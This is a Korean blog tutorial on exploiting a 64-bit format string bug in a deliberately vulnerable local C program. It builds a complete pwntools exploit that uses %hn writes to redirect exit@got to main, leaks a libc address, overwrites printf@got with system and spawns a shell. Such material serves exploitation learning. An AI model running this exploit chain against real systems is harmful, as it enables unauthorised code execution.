System Hacking/FSB(Format String Bug)

64bit에서 FSB (Format String Bug) 이해하기 -(3)(완)

jir4vvit 2021. 4. 22. 15:36

참고자료 : JSec님 블로그(blog.naver.com/yjw_sz/221889244689)
64bit FSB 시리즈 : 64bit에서 FSB (Format String Bug) 이해하기 -(1), (2)
32bit FSB 시리즈 : 32bit에서 FSB (Format String Bug) 이해하기 -(1),(2),(3)

 

지난번에 FSB 취약점을 이용하여 shell함수를 exit@got에 덮어보았다.

오늘은 shell함수가 없다..!

 

* (2)을 보지 않았으면 (2)부터 꼭 보고 (3)번 글을 읽길 바랍니당.


system('/bin/sh')

  • system('/bin/sh')는 쉘을 실행하는 시스템 함수이다.
  • 포너블 분야에서는 이 함수를 최종적으로 실행하여 익스플로잇에 성공하게 된다
  • 이 함수를 실행시키기 위해서는 system 함수의 주소를 구해야 한다.
  • ASLR 보호기법이 걸려 있으면 system 함수를 비롯한 모든 라이브러리 함수는 실행할 때마다 주소가 변하게 된다.
  • 그래도 프로그램을 실행하는 동안에는 한 주소로 고정이 된다.
  • 또한 모든 라이브러리 함수는 고정된 offset 값을 가진다.
  • system 함수의 offset이 0x123이라고 가정해 보고, 실제 주소를 구해보자.

libc base가 0x1000라면?  system 함수의 주소 : 0x1123

libc base가 0x2000라면?  system 함수의 주소 : 0x2123

libc base가 0x3000라면?  system 함수의 주소 : 0x3123

libc base가 0x4000라면?  system 함수의 주소 : 0x4123

  • 이렇게, libc base만 알 수 있다면 system 함수의 실제 주소를 구할 수 있다.
  • address = libc_base + offset

* 참고로 ASLR 보호 기법은 ctf문제나 리얼월드나.. 거의 무조건 걸려있어서 libc base를 구하는 것은 필수적이라고 볼 수 있다.

* libc base를 구하는 방법은 아래에서 설명하도록 하겠다.

 

 

예제 3

  • 예제 1,2는 이전게시물 참고
// fsb_got2.c
// gcc -o fsb_got64_2 fsb_got2.c -no-pie
#include <stdio.h>

/*
void shell(void) {
system("/bin/sh");
}
*/

int main(void) {
	char buf[0x100];
	read(0, buf, 0x100);
	printf(buf);		# FSB trigger!!
	exit(0);
}

(2)번에서 풀었던 예제와는 다르게 shell함수가 없다.

system() 함수를 호출해서 인자로 '/bin/sh'를 주어 쉘을 따야 한다.

 

printf 함수에서 포맷스트링을 사용하지 않으니 FSB가 trigger될 수 있다.

 

Summary

  1. 첫번째 payalod : exit@got을 main으로 덮는다.
  2. 두번째 payload : libc 주소를 leak한다.
  3. 세번째 payload : printf@got를 system 함수로 덮는다.
  4. 네번째 payload : '/bin/sh'을 전송한다.

이런식으로 총 네번의 payload를 전송해야 한다. 첫번째 payload를 전송하는 것부터 차근차근 살펴보자.

 

1. 첫번째 payload : exit@got을 main으로 덮는다.

exit@got을 main함수로 덮는 이유는 뭘까?

 

지금 현재 프로그램상에서는 payload를 한번만 전송할 수밖에 없다. payload를 한 번만 전송해서는 exploit을 할 수가 없다... 그래서 여러번 payload를 전송해주기 위해서 먼저 exit@got을 main함수로 덮어서 exit함수가 실행될 때 다시 main이 실행되게 만들어 줄 필요가 있다.

main = e.symbols['main'] # main 0x400577
exit_got = e.got['exit'] # exit@got 0x601028

main_low = main & 0xffff			# 0x028
main_high = (main >> 16) & 0xffff	# 0x601

# offset 6
payload = ''
payload += '%{}c'.format(main_high)
payload += '%9$hn'
payload += '%{}c'.format(main_low - main_high)
payload += '%10$hn'
payload += 'AAA'
payload += p64(exit_got + 2)
payload += p64(exit_got)

p.send(payload)

FSB 취약점을 이용해서 원하는 주소에 원하는 값을 쓴다.

exit@got(0x601028) 주소에 main(0x400577)주소를 써줬다.

 

%[숫자]$hn을 이용하여 2바이트씩 나누어 입력을 해줬다.

 

2. 두번째 payload : libc 주소를 leak한다.

첫번째 단계에서 exit@got을 main주소로 바꿔준 탓에 exit함수가 실행되면 실제로는 main이 다시 실행되게 된다. 

그래서 이제... 두번째 main이 돌고, 다시 read함수로 입력을 받을 수 있어 우리는 payload를 전송할 수 있다.

 

아무튼 두번째 payload를 한번 작성해보자.

두번째 payload에서는 libc 주소를 leak해야 한다. 

 

대부분의 프로그램에는 __libc_start_main 함수가 존재한다.

이 함수에서 main을 호출하고 main이 종료하면 다시 위의 함수로 돌아간다.

__libc_start_main -> main -> __libc_start_main

 

따라서 main 함수의 ret 주소는 libc 영역의 주소이다. 이 주소를 leak하면 자연스럽게 libc 영역의 주소를 알 수 있을 것이다.

 

그래서 우리는 main의 ret 주소를 leak하는 것으로 목표를 삼아야 한다.

 

main의 ret는 pwndbg의 BACKtRACE에서 아래처럼 확인할 수 있다.

main의 ret는 0x7f42e3790bf7로 __lib_start_main에서 231만큼 떨어져 있다.

 

우리의 input값은 0x7fffbcc3bb20에 들어가고 우리가 leak할 주소는 0x7fffbcc3bd58에 들어있다.

두 주소간 차이 offset을 구해야 한다. 

주소는 8byte로 되어있기 때문에 두 주소를 빼주고 /8을 한 다음, offset 6을 더하면 된다. 

 

왜 offset 6?

 

payload = ''
payload += 'leak:%77$p'

#pause()
p.sendline(payload)

p.recvuntil('leak:')
leak = int(p.recv(14),16) 
log.info('\tleak : '+ hex(leak))

libc_base = leak - libc.symbols['__libc_start_main'] - 231

이렇게 leak을 할 수 있다.

 

sendline으로 전송한 이유?

더보기

read함수로 입력을 받으면 pwntools에서 send함수로 payload를 전송하는 것이 국률인데, 이상하게 여기서 값을 leak할 때, send 함수로 전송해주니까 엔터를 한번 더 쳐야 leak이 됐다.

그래서 어쩔 수 없이(?) sendline으로 전송을 해주었다.

 

결론 : 나도 잘 모르겠음 ㅠ

 

libc_base = leak(실제 주소) - offset(여기서는 main의 ret)

main의 ret는 여기서는 __libc_start_main에서 231만큼 떨어져 있는 곳이다.

 

 

3. 세번째 payload : printf@got를 system 함수로 덮는다.

최종적으로 우리는 system('/bin/sh') 를 실행시키는 것이 목표이다.

이것을 위해 우리가 생각해야할 건 두가지이다.

  1. '/bin/sh' 인자를 어떻게 주는가?
  2. system함수는 어떻게 실행시키는가? (어떤 함수의 got를 overwriting 시키는가?)
	...
	read(0, buf, 0x100);
	printf(buf);		// FSB trigger!!
	exit(0);			// exit@got이 main주소로 변조됨
    }

main문의 일부이다.

read함수로 우리의 입력을 받고, printf로 출력을 시킨다음, 다시 main이 실행될 것이다.

 

입력을 '/bin/sh'로 준다면 저 printf가 system함수면 참 좋겠다~라는 생각을 할 수 있다.

 

printf@got를 system함수로 overwriting 시키자!

printf_got = e.got['printf']				# printf@got 0x601018
system = libc_base + libc.symbols['system']	# system 0x7f42e37be550


system_low = system & 0xffff
system_middle = (system >> 16) & 0xffff
system_high = (system >> 32) & 0xffff

low = system_low

if system_middle > system_low:
    middle = system_middle - system_low
else:
    middle = 0x10000 + system_middle - system_low

if system_high > system_middle:
    high = system_high - system_middle
else:
    high = 0x10000 + system_high - system_middle


log.info('### main ###')
log.info('[3] input : printf@got -> system')

# offset 6
payload = ''
payload += '%{}c'.format(low)
payload += '%11$hn'
payload += '%{}c'.format(middle)
payload += '%12$hn'
payload += '%{}c'.format(high)
payload += '%13$hn'
payload += 'A' * (8 - len(payload) % 8)
payload += p64(printf_got)
payload += p64(printf_got + 2)
payload += p64(printf_got + 4)

pause()
p.send(payload)

FSB 취약점으로 원하는 주소에 원하는 값을 쓸 수 있다.

printf@got 0x601018에 system 0x7f42e37be550을 쓸 것이다.

 

%[숫자]$hn을 이용하여 2바이트씩 넣는다.

 

최종적으로 이렇게 덮어야 한다. 

(실수로 프로그램을 다시 실행시켜 system 주소가 바뀌었다.. ㅠ 얼떨결에 ASLR 인증)

 

 

 

 

4. 네번째 payload : '/bin/sh'을 전송한다.

이제 네번째 main이다.

이제 printf@got가 system함수로 잘 변조됐으니, 인자로 '/bin/sh'를 줄 차례이다.

p.send('/bin/sh\x00')

 

 

exploit code

from pwn import *

p = process('./fsb_got64_2')
e = ELF('./fsb_got64_2')
libc = e.libc


main = e.symbols['main']
exit_got = e.got['exit']
printf_got = e.got['printf']

log.info('\texit@got '+hex(exit_got))
log.info('\tmain '+hex(main))


main_low = main & 0xffff
main_high = (main >> 16) & 0xffff

log.info('### main ###')
log.info('[1] input : exit@got -> main')

# offset 6
payload = ''
payload += '%{}c'.format(main_high)
payload += '%9$hn'
payload += '%{}c'.format(main_low - main_high)
payload += '%10$hn'
payload += 'AAA'
payload += p64(exit_got + 2)
payload += p64(exit_got)

#pause()
p.send(payload)


log.info('### main ###')
log.info('[2] libc leak')

payload = ''
payload += 'leak:%77$p'

#pause()
p.sendline(payload)

p.recvuntil('leak:')
leak = int(p.recv(14),16) 
log.info('\tleak : '+ hex(leak))

libc_base = leak - libc.symbols['__libc_start_main'] - 231
system = libc_base + libc.symbols['system']

log.info('\tlibc base '+ hex(libc_base))
log.info('\tprintf@got '+hex(printf_got))
log.info('\tsystem '+hex(system))



###
system_low = system & 0xffff
system_middle = (system >> 16) & 0xffff
system_high = (system >> 32) & 0xffff

low = system_low

if system_middle > system_low:
    middle = system_middle - system_low
else:
    middle = 0x10000 + system_middle - system_low

if system_high > system_middle:
    high = system_high - system_middle
else:
    high = 0x10000 + system_high - system_middle


log.info('### main ###')
log.info('[3] input : printf@got -> system')

# offset 6
payload = ''
payload += '%{}c'.format(low)
payload += '%11$hn'
payload += '%{}c'.format(middle)
payload += '%12$hn'
payload += '%{}c'.format(high)
payload += '%13$hn'
payload += 'A' * (8 - len(payload) % 8)
payload += p64(printf_got)
payload += p64(printf_got + 2)
payload += p64(printf_got + 4)

pause()
p.send(payload)

log.info('### main ###')
log.info('[4] input : /bin/sh\x00')
p.send('/bin/sh\x00')

p.interactive()

 

로컬에서 쉘따기~

 

 


64bit에서의 fsb를 이해해보았다. (드뎌 끝~ 후)

 

64bit에서의 fsb는 32bit와 다르게 payload를 작성할 때 주소가 뒤로 가야하는 것을 잊지 말자!

그리고 offset도... 레지스터부터 저장되니까 6부터 시작이다.

 

나중에 NOTE에다가 간단간단하게 다시 정리할 예정이다.

 

암튼 여기까지 읽으신 분들 고생 많았슴다